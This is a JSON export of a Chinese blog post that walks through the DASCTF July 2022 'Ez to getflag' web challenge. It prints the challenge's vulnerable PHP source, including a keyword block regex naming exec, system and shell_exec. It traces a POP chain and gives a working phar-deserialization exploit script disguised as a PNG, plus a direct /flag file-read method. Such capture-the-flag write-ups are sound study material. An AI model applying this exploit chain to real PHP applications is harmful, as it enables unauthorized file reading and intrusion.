{"id":166,"date":"2022-09-14T15:55:06","date_gmt":"2022-09-14T07:55:06","guid":{"rendered":"https:\/\/fushuling.com\/?p=166"},"modified":"2022-11-07T16:43:57","modified_gmt":"2022-11-07T08:43:57","slug":"dasctf-2022-7%e6%9c%88%e8%b5%8b%e8%83%bd%e8%b5%9b-web%e9%a2%98%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2022\/09\/14\/dasctf-2022-7%e6%9c%88%e8%b5%8b%e8%83%bd%e8%b5%9b-web%e9%a2%98%e5%a4%8d%e7%8e%b0\/","title":{"rendered":"DASCTF 2022 7\u6708\u8d4b\u80fd\u8d5b Web\u9898\u590d\u73b0"},"content":{"rendered":"\n

Ez to getflag<\/h2>\n\n\n\n

\u4e00\u5171\u4e24\u4e2a\u9875\u9762\uff0c\u4e00\u4e2a\u662f\u56fe\u7247\u67e5\u770b\uff0c\u53e6\u4e00\u4e2a\u662f\u56fe\u7247\u4e0a\u4f20<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5bf9\u56fe\u7247\u4e0a\u4f20\u53e3\u6d4b\u8bd5\u4e86\u51e0\u6b21\uff0c\u53ea\u80fd\u4e0a\u4f20png\u6587\u4ef6\uff0c\u800c\u4e14\u5bf9\u6587\u4ef6\u5185\u5bb9\u6709\u5947\u602a\u7684\u8fc7\u6ee4\uff0c\u4e0d\u77e5\u9053\u662f\u600e\u4e48\u68c0\u6d4b\u7684<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u5728\u5bf9\u56fe\u7247\u67e5\u770b\u53e3\u8fdb\u884c\u6d4b\u8bd5\u65f6\uff0c\u53d1\u73b0\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u76f4\u63a5\u83b7\u5f97\u7f51\u9875\u6e90\u7801<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

upload.php<\/p>\n\n\n\n

<?php\n    error_reporting(0);\n    session_start();\n    require_once('class.php');\n    $upload = new Upload();\n    $upload->uploadfile();\n?><\/code><\/pre>\n\n\n\n
class.php<\/p>\n\n\n\n
<?php\n    class Upload {\n        public $f;\n        public $fname;\n        public $fsize;\n        function __construct(){\n            $this->f = $_FILES;\n        }\n        function savefile() {  \n            $fname = md5($this->f[\"file\"][\"name\"]).\".png\"; \n            if(file_exists('.\/upload\/'.$fname)) { \n                @unlink('.\/upload\/'.$fname);\n            }\n            move_uploaded_file($this->f[\"file\"][\"tmp_name\"],\"upload\/\" . $fname); \n            echo \"upload success! :D\"; \n        } \n        function __toString(){\n            $cont = $this->fname;\n            $size = $this->fsize;\n            echo $cont->$size;\n            return 'this_is_upload';\n        }\n        function uploadfile() { \n            if($this->file_check()) { \n                $this->savefile(); \n            } \n        }\n        function file_check() { \n            $allowed_types = array(\"png\");\n            $temp = explode(\".\",$this->f[\"file\"][\"name\"]);\n            $extension = end($temp); \n            if(empty($extension)) { \n                echo \"what are you uploaded? :0\";\n                return false;\n            }\n            else{ \n                if(in_array($extension,$allowed_types)) {\n                    $filter = '\/<\\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir\/i';\n                    $f = file_get_contents($this->f[\"file\"][\"tmp_name\"]);\n                    if(preg_match_all($filter,$f)){\n                        echo 'what are you doing!! :C';\n                        return false;\n                    }\n                    return true; \n                } \n                else { \n                    echo 'png onlyyy! XP'; \n                    return false; \n                } \n            }\n        }\n    }\n    class Show{\n        public $source;\n        public function __construct($fname)\n        {\n            $this->source = $fname;\n        }\n        public function show()\n        {\n            if(preg_match('\/http|https|file:|php:|gopher|dict|\\.\\.\/i',$this->source)) {\n                die('illegal fname :P');\n            } else {\n                echo file_get_contents($this->source);\n                $src = \"data:jpg;base64,\".base64_encode(file_get_contents($this->source));\n                echo \"<img src={$src} \/>\";\n            }\n        \n        }\n        function __get($name)\n        {\n            $this->ok($name);\n        }\n        public function __call($name, $arguments)\n        {\n            if(end($arguments)=='phpinfo'){\n                phpinfo();\n            }else{\n                $this->backdoor(end($arguments));\n            }\n            return $name;\n        }\n        public function backdoor($door){\n            include($door);\n            echo \"hacked!!\";\n        }\n        public function __wakeup()\n        {\n            if(preg_match(\"\/http|https|file:|gopher|dict|\\.\\.\/i\", $this->source)) {\n                die(\"illegal fname XD\");\n            }\n        }\n    }\n    class Test{\n        public $str;\n        public function __construct(){\n            $this->str=\"It's works\";\n        }\n        public function __destruct()\n        {\n            echo $this->str;\n        }\n    }\n?><\/code><\/pre>\n\n\n\n
file.php<\/p>\n\n\n\n
<?php\n    error_reporting(0);\n    session_start();\n    require_once('class.php');\n    $filename = $_GET['f'];\n    $show = new Show($filename);\n    $show->show();\n?><\/code><\/pre>\n\n\n\n
\u770b\u5230class.php\u91cc\u6709\u90a3\u4e48\u591a\u53ef\u7231\u7684\u9b54\u672f\u65b9\u6cd5\uff0c\u6216\u8bb8\u4ece\u8fd9\u91cc\u8d77\u624b\u5c1d\u8bd5\u7528\u53cd\u5e8f\u5217\u5316\u8fdb\u884c\u64cd\u4f5c\u4f1a\u662f\u4e00\u4e2a\u4e0d\u9519\u7684\u505a\u9898\u5165\u624b\u70b9\u3002<\/p>\n\n\n\n
 class Show{\n        public $source;\n        public function __construct($fname)\n        {\n            $this->source = $fname;\n        }\n        function __get($name)\n        {\n            $this->ok($name);\n        }\n        public function __call($name, $arguments)\n        {\n            if(end($arguments)=='phpinfo'){\n                phpinfo();\n            }else{\n                $this->backdoor(end($arguments));\n            }\n            return $name;\n        }\n        public function backdoor($door){\n            include($door);\n            echo \"hacked!!\";\n        }\n    }<\/code><\/pre>\n\n\n\n
\u9996\u5148\u6211\u4eec\u6ce8\u610f\u5230class show\u4e2d\u5b58\u5728\u4e00\u4e2a\u65b9\u6cd5function backdoor($door)\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u5b58\u5728include($door)\u529f\u80fd\uff0c\u53ef\u4ee5\u5b9e\u73b0\u5bf9\u6587\u4ef6\u7684\u5305\u542b\uff0c\u5982\u679c\u6211\u4eec\u80fd\u591f\u63a7\u5236\u8be5\u65b9\u6cd5\u7684\u53c2\u6570\uff0c\u5c31\u80fd\u5b9e\u73b0\u4efb\u610f\u6587\u4ef6\u5305\u542b\u4ee5\u5b9e\u73b0\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\uff0c\u56e0\u6b64\u6211\u4eec\u4e0d\u59a8\u628a\u91cd\u70b9\u653e\u5728\u8fd9\u91cc\uff0c\u601d\u8003\u5982\u4f55\u8c03\u7528\u8fd9\u4e2a\u65b9\u6cd5\u3002<\/p>\n\n\n\n
\u65b9\u6cd5function __call($name, $arguments)\u91cc\u5f53end($arguments)==’phpinfo’\u4e0d\u6210\u7acb\u65f6\uff0c\u4f1a\u8c03\u7528backdoor()\u65b9\u6cd5\uff0c\u6211\u4eec\u77e5\u9053_call\u662f\u4e00\u4e2a\u9b54\u672f\u65b9\u6cd5\uff0c\u662f\u5728\u5bf9\u8c61\u4e2d\u8c03\u7528\u4e00\u4e2a\u4e0d\u53ef\u8bbf\u95ee\u65b9\u6cd5\u65f6\u8c03\u7528\u7684\uff0c\u5f80\u4e0a\u770bfunction __get($name)\u4e2d\u8c03\u7528\u4e86$this->ok($name)\uff0c\u800c\u8fd9\u4e2aok()\u51fd\u6570\u663e\u7136\u662f\u4e00\u4e2a\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\uff0c\u65e2\u6ca1\u6709\u5728\u4ee3\u7801\u4e2d\u51fa\u73b0\uff0c\u4e5f\u4e0d\u662fphp\u539f\u6709\u7684\u65b9\u6cd5\uff0c\u56e0\u6b64\u53ea\u8981\u8c03\u7528function __get($name)\u5373\u53ef\u8c03\u7528ok()\u8fdb\u800c\u8c03\u7528_call\uff0c\u73b0\u5728\u6211\u4eec\u6574\u7406\u4e00\u4e0b\u6211\u4eec pop\u94fe\u7684\u601d\u8def\uff1a<\/p>\n\n\n\n
\n
\n
????::??()\n\u2193\u2193\u2193\nShow::__get()\n\u2193\u2193\u2193\nShow::__call()\n\u2193\u2193\u2193\nShow::backdoor()<\/code><\/pre>\n<\/div>\n<\/div>\n\n\n\n
\u90a3\u4e48\u5982\u4f55\u8c03\u7528__get()\u5462\uff0c\u6211\u4eec\u77e5\u9053__get()\u4e5f\u662f\u4e00\u4e2a\u9b54\u672f\u65b9\u6cd5\uff0c\u5f53\u4ece\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u4e2d\u8bfb\u53d6\u6570\u636e\u4f1a\u89e6\u53d1\uff0c\u8fd9\u4e2a\u65b9\u6cd5\u5176\u5b9e\u633a\u597d\u89e6\u53d1\u7684\uff0c\u6bd4\u5982\u67d0\u4e2a\u65b9\u6cd5\u4e0b\u5b58\u5728$this->str->source\uff0c\u6211\u4eec\u53ea\u8981\u7ed9\u8be5\u7c7b\u4e2d\u7684\u5143\u7d20str\u8d4b\u503c\u4e3a\u4e00\u4e2a\u4e0d\u5b58\u5728source\u5143\u7d20\u7684\u7c7b\u7684\u5bf9\u8c61\u5373\u53ef\u81ea\u52a8\u8c03\u7528\u3002\u7ee7\u7eed\u6d4f\u89c8\u5176\u4ed6\u7c7b\u548c\u65b9\u6cd5\uff0c\u5168\u90e8\u770b\u5b8c\u4e5f\u53ea\u53d1\u73b0class Upload\u4e0b\u5b58\u5728__toString()\u5b58\u5728\u7c7b\u4f3c\u7ed3\u6784\uff08\u600e\u4e48\u6211\u611f\u89c9\u6bcf\u6b21\u505a\u9898\u90fd\u662f\u7528__toString\u8c03\u7528__get()\uff09<\/p>\n\n\n\n
function __toString(){\n            $cont = $this->fname;\n            $size = $this->fsize;\n            echo $cont->$size;\n            return 'this_is_upload';\n        }<\/code><\/pre>\n\n\n\n
\u8fd9\u4e2a\u65b9\u6cd5\u5b58\u5728\u4e00\u4e2a\u8d4b\u503c\u64cd\u4f5c$this->fname->$this->fsize\uff0c\u56e0\u6b64\uff0c\u6211\u4eec\u53ef\u4ee5\u628a$this->fsize\u8d4b\u503c\u4e3a\u60f3\u8981\u5305\u542b\u7684\u6587\u4ef6\u7684\u6587\u4ef6\u540d\uff0c\u7136\u540e\u628athis->fname\u8d4b\u503c\u4e3aclass Show\uff0c\u56e0\u4e3aclass Show\u4e0d\u5b58\u5728\u8be5\u6587\u4ef6\u540d\uff0c\u6240\u4ee5\u5c06\u8c03\u7528Show::__get\u65b9\u6cd5\u3002\u73b0\u5728\u53ea\u8981\u8c03\u7528__toString()\u5c31\u7686\u5927\u6b22\u559c\u4e86\uff0c\u719f\u6089ctf\u7684\u90fd\u77e5\u9053\u8fd9\u4e2a\u4e5f\u662f\u4e2a\u9b54\u672f\u65b9\u6cd5\uff0c\u5f53\u7c7b\u7684\u5bf9\u8c61\u88ab\u5f53\u4f5c\u5b57\u7b26\u4e32\u64cd\u4f5c\u65f6\u8c03\u7528\uff0c\u6bd4\u5982\u67d0\u4e2a\u65b9\u6cd5\u5b58\u5728<\/p>\n\n\n\n
echo $this->str<\/code><\/pre>\n\n\n\n
\u53ea\u8981\u6211\u4eec\u628a$this->str\u8d4b\u503c\u4e3a\u4e00\u4e2a\u7c7b\uff0c\u8fd9\u6837\u5c31\u4f1a\u76f4\u63a5\u8c03\u7528__String()\uff0c\u6211\u4eec\u73b0\u5728\u770b\u5230class Test<\/p>\n\n\n\n
class Test{\n        public $str;\n        public function __construct(){\n            $this->str=\"It's works\";\n        }\n        public function __destruct()\n        {\n            echo $this->str;\n        }\n    }<\/code><\/pre>\n\n\n\n
\u53ea\u8981\u5c06$this->str\u8d4b\u503c\u4e3aUpload\u7c7b\uff0c\u8fd9\u6837\u4f1a\u89e6\u53d1Upload::__tostring\u65b9\u6cd5\u4e86\u3002<\/p>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u811a\u672c\uff1a<\/p>\n\n\n\n
<?php \n\nclass Upload{\n    public $fname;\n    public $fsize;  \n}\nclass Show{\n    public $source;\n}\nclass Test{\n    public $str;\n}\n\n$t = new Test();\n$t->str = new Upload();\n$t->str->fname = new Show();\n$t->str->fsize = '\/flag';\n\/\/ $poc = serialize($t);\n\/\/ print($poc);<\/code><\/pre>\n\n\n\n
\u7136\u540e\u628a\u8fd9\u4e2a\u53cd\u5e8f\u5217\u5316\u811a\u672c\u4e0a\u4f20\u4e0a\u53bb\u5c31\u5b8c\u4e8b\u4e86\u5417\uff1f\u663e\u7136\u4e0d\u5bf9\u3002<\/p>\n\n\n\n
\u9996\u5148\uff0c\u6211\u4eec\u4e0a\u4f20\u7684\u6587\u4ef6\u6210\u529f\u4e0a\u4f20\u540e\u90fd\u4f1a\u88ab\u6539\u6210png\u7ed3\u5c3e\uff0c\u8fd9\u5c31\u610f\u5473\u7740\u6211\u4eec\u5199\u7684php\u4ee3\u7801\u5c31\u5b8c\u5168\u6ca1\u6cd5\u6fc0\u6d3b\u3002<\/p>\n\n\n\n
\u5176\u6b21\uff0c\u6587\u4ef6\u4e0a\u4f20\u4e4b\u540e\u5728\u5b58\u50a8\u5230upload\u76ee\u5f55\u4e4b\u524d\u8c03\u7528file_check\u8fdb\u884c\u4e86\u8fc7\u6ee4\uff0c\u5e76\u4e14\u5bf9\u6587\u4ef6\u5185\u5bb9\u8fdb\u884c\u4e86\u68c0\u67e5\uff1a<\/p>\n\n\n\n
$filter = '\/<\\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir\/i';<\/code><\/pre>\n\n\n\n
\u6587\u4ef6\u5185\u5bb9\u5982\u679c\u542b\u6709php\u76f4\u63a5\u5c31\u88ab\u8fc7\u6ee4\u4e86\uff0c\u600e\u4e48\u53ef\u80fd\u8fd8\u80fd\u4e0a\u4f20\u4e0a\u53bb\u5462\uff1f\u6240\u4ee5\u53cd\u5e8f\u5217\u5316\u8fd9\u4e00\u6b65\u5bf9\u662f\u5bf9\u7684\uff0c\u4f46\u8fd8\u9700\u8981\u540e\u7eed\u7684\u64cd\u4f5c\u8ba9\u4ed6\u8d77\u6548\u3002<\/p>\n\n\n\n
\u65b9\u6cd5\u4e00\uff1a\u76f4\u63a5\u8bfb\u53d6\/flag<\/h3>\n\n\n\n
\u6211\u4eec\u56de\u770b\u4ee3\u7801\uff0c\u5176\u5b9e\u6e90\u7801\u4e2d\u5bf9\u4e8e\u8bfb\u53d6\u6587\u4ef6\u7684\u9650\u5236\u6839\u672c\u6ca1\u591a\u5c11\uff0c\u4e3b\u8981\u662f\u67e5\u8be2\u63a5\u53e3\u6709WAF \u4e0d\u80fd\u7528..<\/code>\u8bfb\u53d6\u4e0a\u5c42\u6587\u4ef6\uff0c\u4f46\u5e76\u4e0d\u963b\u6b62\u6211\u4eec\u8bfb\u53d6\u4e0b\u5c42\u6587\u4ef6\uff0c\u6240\u4ee5\u6211\u4eec\u76f4\u63a5\u8bfb\u53d6\/flag\uff0c\u662f\u53ef\u884c\u7684<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e5f\u5e94\u8be5\u662f\u5f53\u65f6\u6bd4\u8d5b\u65f6\u505a\u8fd9\u4e2a\u9898\u5f97\u5206\u4eba\u6570\u6700\u591a\u7684\u89e3\u9898\u65b9\u6cd5\uff0c\u6bd5\u7adf\u8fd9\u5176\u5b9e\u4e5f\u53ea\u662f\u4e2a\u7b7e\u5230\u9898\uff0c\u7528\u53cd\u5e8f\u5217\u5316\u8fd8\u662f\u6709\u70b9\u4e0d\u592a\u53cb\u597d\u4e86\uff0c\u56e0\u6b64\u76f4\u63a5\u8bfb\u53d6\u6e90\u7801\u53d1\u73b0\u6ca1\u9650\u5236\uff0c\u7136\u540e\u8bfb\u53d6\/flag\u96be\u5ea6\u7b97\u662f\u9002\u5408\u7b7e\u5230\u9898\u7684\u96be\u5ea6\u3002\u4e0d\u8fc7\u8fd9\u79cd\u65b9\u6cd5\u662f\u7531\u5c40\u9650\u6027\u7684\uff0cfile_get_contents\u5982\u679c\u6743\u9650\u4e0d\u591f\u53ef\u80fd\u5c31\u8bfb\u53d6\u4e0d\u4e86\u4e86\u3002<\/p>\n\n\n\n
\u65b9\u6cd5\u4e8c\uff1a\u7528phar\u4f2a\u534f\u8bae\u5b9e\u73b0\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6<\/h3>\n\n\n\n
\u6211\u7684\u535a\u5ba2\u91cc\u4e4b\u524d\u5e94\u8be5\u5df2\u7ecf\u63d0\u5230\u8fc7phar\uff0cphar\u662f\u4e00\u4e2a\u5f88\u795e\u5947\u7684\u4e1c\u897f\uff0cphar\u683c\u5f0f\u7684\u6587\u4ef6\u5373\u4fbf\u662f\u540e\u7f00\u88ab\u4fee\u6539\u4e86\uff0c\u4f7f\u7528phar:\/\/\u8fd9\u4e2a\u4f2a\u534f\u8bae\u8bfb\u53d6\uff0c\u8fd8\u662f\u4f1a\u6309\u7167phar\u7684\u5185\u5bb9\u6765\u89e3\u6790\u7684\uff0c\u751a\u81f3\u662f\u7528gzip\u538b\u7f29phar\u6587\u4ef6\uff0c\u4fee\u6539\u540e\u7f00\u4e0a\u4f20\uff0c\u4e5f\u4f1a\u81ea\u52a8\u89e3\u538b\u4e00\u5c42\u5e76\u4e14\u6309\u7167phar\u5185\u5bb9\u6765\u89e3\u6790\u3002\u56e0\u6b64\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u751f\u6210\u4e00\u4e2aphar\u6587\u4ef6\uff0c\u5c06\u4ed6\u7528gzip\u538b\u7f29\uff0c\u9690\u85cf\u6587\u4ef6\u7279\u5f81\u540e\u5c06\u5b83\u4e0a\u4f20\u4e0a\u53bb\uff0c\u7136\u540e\u518d\u7528phar\u4f2a\u534f\u8bae\u8bfb\u53d6\u8be5\u6587\u4ef6\u6fc0\u6d3bpop\u94fe\u8bfb\u53d6\u4efb\u610f\u6587\u4ef6\u3002<\/p>\n\n\n\n
EXP\uff1a<\/p>\n\n\n\n
<?php \n\nclass Upload{\n    public $fname;\n    public $fsize;  \n}\nclass Show{\n    public $source;\n}\nclass Test{\n    public $str;\n}\n\n$t = new Test();\n$t->str = new Upload();\n$t->str->fname = new Show();\n$t->str->fsize = '\/flag';\n\/\/ $poc = serialize($t);\n\n$phar = new Phar('poc.phar');\n$phar->stopBuffering();\n$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');\n$phar->addFromString('test.txt', 'test');\n$phar->setMetadata($t);\n$phar->stopBuffering();\n\n\/\/ print($poc);<\/code><\/pre>\n\n\n\n
\u5c06\u751f\u6210\u7684poc.phar\u7528gzip\u538b\u7f29\uff0c\u7136\u540e\u5c06\u8be5\u6587\u4ef6\u91cd\u547d\u540d\u4e3apoc.png\u5e76\u4e0a\u4f20\u3002<\/p>\n\n\n\n
\u56e0\u4e3a\u6211\u4eec\u7684\u6587\u4ef6\u4e0a\u4f20\u540e\u88ab\u91cd\u547d\u540d\u4e86\uff0c\u6240\u4ee5\u5199\u4e2a\u811a\u672c\u770b\u770b\u91cd\u547d\u540d\u540e\u7684\u540d\u5b57\uff1a<\/p>\n\n\n\n
from hashlib import md5\n \n\n\na=md5('poc.png'.encode('utf-8')).hexdigest()+'.png';\nprint(a);\n#23f1a0f70f076b42b5b49f24ee28f696.png<\/code><\/pre>\n\n\n\n
\u5728\u641c\u7d22\u6846\u8f93\u5165\uff1a<\/p>\n\n\n\n
phar:\/\/.\/upload\/23f1a0f70f076b42b5b49f24ee28f696.png<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u65b9\u6cd5\u4e09\uff1aPhar\u6587\u4ef6\u53cd\u5e8f\u5217\u5316\u3001\u6587\u4ef6\u4e0a\u4f20\u6761\u4ef6\u7ade\u4e89\u3001session\u6587\u4ef6\u5305\u542b<\/h3>\n\n\n\n
\u8fd9\u79cd\u65b9\u6cd5\u5c31\u662f\u9884\u671f\u89e3\uff0c\u96be\u5ea6\u5f88\u5927\uff0c\u4f30\u8ba1\u6bd4\u8d5b\u91cc\u4e5f\u6ca1\u591a\u5c11\u4eba\u662f\u7528\u8fd9\u79cd\u65b9\u6cd5\u505a\u51fa\u6765\u7684\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
Ez to getflag \u4e00\u5171\u4e24\u4e2a\u9875\u9762\uff0c\u4e00\u4e2a\u662f\u56fe\u7247\u67e5\u770b\uff0c\u53e6\u4e00\u4e2a\u662f\u56fe\u7247\u4e0a\u4f20 \u5bf9\u56fe\u7247\u4e0a\u4f20\u53e3\u6d4b\u8bd5\u4e86\u51e0\u6b21\uff0c\u53ea\u80fd\u4e0a\u4f20p […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-166","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/166","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=166"}],"version-history":[{"count":4,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/166\/revisions"}],"predecessor-version":[{"id":175,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/166\/revisions\/175"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=166"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=166"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=166"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}